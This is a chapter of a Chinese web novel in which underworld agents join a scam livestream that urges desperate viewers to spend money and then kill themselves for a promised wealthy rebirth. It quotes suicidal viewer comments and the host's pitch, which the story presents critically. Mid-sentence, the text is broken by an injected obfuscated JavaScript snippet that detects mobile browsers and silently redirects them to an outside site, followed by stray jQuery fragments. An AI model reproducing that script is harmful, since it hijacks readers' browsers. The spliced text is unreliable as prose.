徐栩看了一眼李景行，李景行倒一直是一副波澜不惊的样子。
阎君道：“这次的入口，在阳间，需从阳间进入伪地狱，你们混进去，三日之内，必须找到并摧毁其核心总账房，阻止接下去的恶灵降临。”
徐栩举手：“混进去？怎么混？”
阎君看向李景行：“李景行会统筹安排。”
四人去了地府快线，在那晃晃悠悠的车厢里，徐栩熟练地找了个靠窗的位置瘫下，困意再次袭来。
再睁眼时，已经是清晨，徐栩躺在大床上。
他揉了揉眼，转头看去，李景行正站在窗边，背光下，身材像剪影一样完美。
“哥，你这个点怎么守在我床边啊？怪让人乱想的。”
“睡醒了就起来。”
李景行自动忽略了徐栩的废话，“阿铭发定位了。”
“哦，哦，好吧。”说到任务，徐栩不敢耽误，起来洗漱后，两人对付了几口早餐，就赴约前往。
约定的地点，是一座位于城乡结合部的老旧商业大厦。
墙皮脱落，楼道都是垃圾，电梯里贴满了无抵押贷款和刷单兼职的牛皮藓，还有一股难闻的烟味。
徐栩一脚跨出电梯，忍不住捂住鼻子，“这地儿太臭了，怎么选在这？不知道的还以为咱们是被骗过来搞电|诈的。”
走廊尽头，一间挂着天机阁娱乐牌子的办公室门开了。
顶着黑眼圈的阿铭招了招手：“徐哥，李哥，快进来。”
两人进了屋，屋内倒是有一台顶配的笔记本电脑，赵小玫正紧张地盯着屏幕。
“这栋楼里全是搞灰产和电销的，IP地址乱，正好方便我们隐蔽，防止那个直播间反向追踪。”阿铭解释。
大家也不废话，直接围坐在会议桌前。
阿铭推了推眼镜，指着电脑，那是一个很有煽动性的直播间界面：赛博福报，重启人生。
“这个赛博祭品直播间，我简单地介绍一下。”
阿铭神色凝重，剖析起规则： “第一步，烧钱，在直播间用自己的真金白银购买虚拟的赛博祭品，烧给自己，这叫原始积累，意味着以后下去了就有存款。”
“第二步是契约，当祭品积累到一定数额，就能解锁子午血契，签了它，人的命魂就锁定了伪地狱，可以进入坤卦伪地狱。”
“子午血契？”徐栩耸肩：“名字起得挺玄，翻译成大白话不就是阴间卖身契吗？”
阿铭点了点头，继续说：“第三步就是重启。”
他顿了顿，声音低沉，“也就是自杀。”
“自杀？”徐栩皱眉，语气凉薄了几分，“人只要贪念一起，侥幸心理就占了上风，就没脑子了，阳间那些杀猪盘，暴雷套路翻来覆去就那几样，不照样年年有人上当？现在业务下沉，拓展到阴间了。”
阿铭：“对，他们鼓吹，死后进入那个伪地狱，会进行为期三天的财富猎杀。”
“如果你赢了，撑过了三天，你就能带着所有的记忆和在这个世界积累的巨富，优先插队轮回，下辈子直接出生在罗马，当顶级二代。”
“如果你输了，或者在里面死了，”阿铭指了指屏幕，“系统承诺，你会根据你之前烧给自己的祭品，立马安排轮回，烧得越多，下辈子过得越好。”
“这还带保底的？不对吧，呵！”徐栩冷笑一声。
“假的。”赵小玫小声补充，“我们都知道，如果在伪地狱里死了，魂魄就会滞留，变成那个世界的燃料，根本不可能轮回。”
“问题是，那些绝望的人不知道。”李景行接话，“他们只看得到希望，所以愿意倾尽一切去搏一搏。”
“而且，轮回还有人证。”阿铭点开一个置顶视频。
视频里，一个看着才三四岁的小男孩，正坐在豪宅的沙发上，脸上打了码，他用一种远超年龄的成熟口吻对着镜头说： “感谢赛博福报，让我带着前世的记忆，转生到了这个家庭，上辈子的社畜，这辈子，我生来就是富豪家中的独子，除了记忆，还拥有了上市集团的股份……”
视频下面，评论区一片狂热： “接好运！！！”
“接好运！！！”
“接好运！！！”
“接好运！！！X1000！！！”
再往下，还有一些真假难辨的留言：
“我也要重开，这破日子一天都过不下去了！”
“求带，我已经烧了十万了！”
“我真的对这个世界失望了，没有钱，活得好辛苦，好绝望啊！”
徐栩看着那些评论，心里一阵发寒。
“众生皆苦啊。”他最后叹了口气，管住了嘴，没往后说下去。
“我们要混进去。”李景行把话题拉回正轨，“首先就是在直播间打款烧钱，这一环等于验资，拿到入场券。”
“钱？”徐栩一摊手，开始哭穷，“领导，我虽然家里有点底子，但这直播间可是个无底洞，我要是现在给我爸打电话要一个亿，他估计得先把送我去精神病院。”
“不用你爸。” 李景行指了指大家的手机。
地府特制手机中，多了一个类似银行的APP，徐栩点了一下。
下一秒，他的眼睛瞪得像铜铃。
账户余额：9999999999…… 那一串9，长得简直要溢出屏幕。
“艹！”徐栩手一抖，差点把手机给扔了。
他转头看向李景行，眼神里充满了震惊与崇拜：“爸，不，哥，这是多少？津巴布韦币也没这么多啊！”
他吞了口唾沫，用肩膀蹭了蹭对方，“你们地府这是把天地银行的印钞机给搬来了？这钱能在阳间花吗？不怕我卷款潜逃吗？”
李景行看着他那副财迷心窍的样子，眼底有了点很淡的笑意，但转瞬即逝。
“这是阴间汇率换算的香火愿力，你在阳间花不了。”
“啊……”徐栩肉眼可见地萎了。
“不过，”李景行看着他，补了一句，“在地府，这确实是一笔巨款，足够买下半个酆都城的商铺。”
徐栩的眼睛“噌”地一下又睁大了。
他一把抓住李景行的袖子，笑得见牙不见眼，“哥，我就知道，你就是我命中注定的长期饭票，百年之后我下去了，你也要多多关照啊。”
赵小玫和阿铭在旁边，眼观鼻鼻观心，没眼看。
“行了，这个事情以后再说，”李景行耳根微红，不动声色地抽回袖子，“注册ID，准备进场。”
阿铭手指飞舞，迅速搞定：
李景行ID：天道酬勤。
赵小玫ID：暴躁萝莉爱花钱。
阿铭ID：我在华尔街当狼。
轮到徐栩了。
他抢过电
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297418|198598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脑，噼里啪啦打了一串字，然后满意地点了点头，将ID展示给大家：不想活了，钱太多怎么花。
“……”众人沉默。
“怎么了？很土吗？”徐栩理直气壮，“这就叫用户画像精准匹配，那种一心求死的大冤种，不都得起这种名吗？”
“好，就这样吧，阿铭，让我们从不同的IP进场。” 李景行说道。
阿铭点头，四人先后进入直播间。
“欢迎，欢迎新进直播间的家人们。”
屏幕里，只有一束红光打在脸上的主播出现了。
这人长得苦，颧骨高耸，眼窝深陷，一脸的沧桑和悲悯，像是从苦水里泡出来的一样。
他没有像某些平台主播那样，在那大喊大叫地推销。
他用一种沙哑的声音，声情并茂地说道：“家人们，今天上班累吗？被老板骂了吗？房贷还上了吗？看着别人开豪车住别墅，你是不是在想，为什么那个含着金汤匙出生的人，不是我？”
这一开口，直播间里的弹幕瞬间炸了：
“刚下班，凌晨三点，老板刚才发微信骂我是废物，我看了一眼二十楼的窗户，真想就这么跳下去。”
“35岁，今天被裁员了，车贷房贷两万八，老婆刚怀二胎，我不敢回家，在地下车库里哭得像条狗。”
“还什么房贷？我连下个月房租都交不起了，借呗逾期，催收的把电话打到了老家，我活着就是个笑话！”
“我爸进ICU一天两万，我卖了房还不够，为什么麻绳专挑细处断？这人间太苦了，我不想来了，真的不想来了……”
“这辈子当牛马，下辈子我想当人，主播，求带，哪怕是做鬼我也认了！”
“我懂，我都懂。”主播拿出一张打码二维码：“这人间啊，哪里是家？这就是个吃人不吐骨头的炼狱，咱们都是来受刑的。”
“但是……”他话锋一转，眼神变得狂热，“咱们有机会越狱啊！咱们有机会为自己争取，咱们有权利换个活法！”
“凭什么有人生在罗马，有人生为牛马？凭什么他们能把我们踩在泥里？天道不公，我们就自己改命！”
“只要你舍得现在的身外之物，只要你敢搏一把，三天，只需要三天，在这儿烧够了，契约一签，眼睛一闭一睁，下辈子，就该是他们在泥地里仰望你！”
“来！看看这位新进来的朋友——不想活了，钱太多怎么花。” 主播那双眼变得炯炯有神。
“这位家人，我看你ID就知道，你也是个看透了红尘的伤心人啊，这位不想活了，钱太多怎么花的家人，你透着一股子大彻大悟的通透，既然这阳间的钱多得让你痛苦，钱多得没处花，不如给自己铺一条通天大道，重新选一个更为理想的人生！”
“榜一大哥的位置还空着，只要你敢刷，我就敢送你一张通往帝王之家的门票！”
“呵！激我呐！”徐栩嘴角一勾，看着屏幕上那个疯狂闪烁的充值入口，对李景行吐槽，“有正规批文吗？走过六道公示程序没有？啥都没有就敢开空头支票，你们这诈骗流程也太不专业了。”
他的手指悬在充值的按钮上，冲李景行挑了挑眉：“不过，既然领导给报销，那今天本少爷就让这帮鬼东西见识见识，什么叫来自长期饭票的降维打击！”
“梭|哈！”徐栩抬了抬下巴，“给爷刷爆当榜一！！！”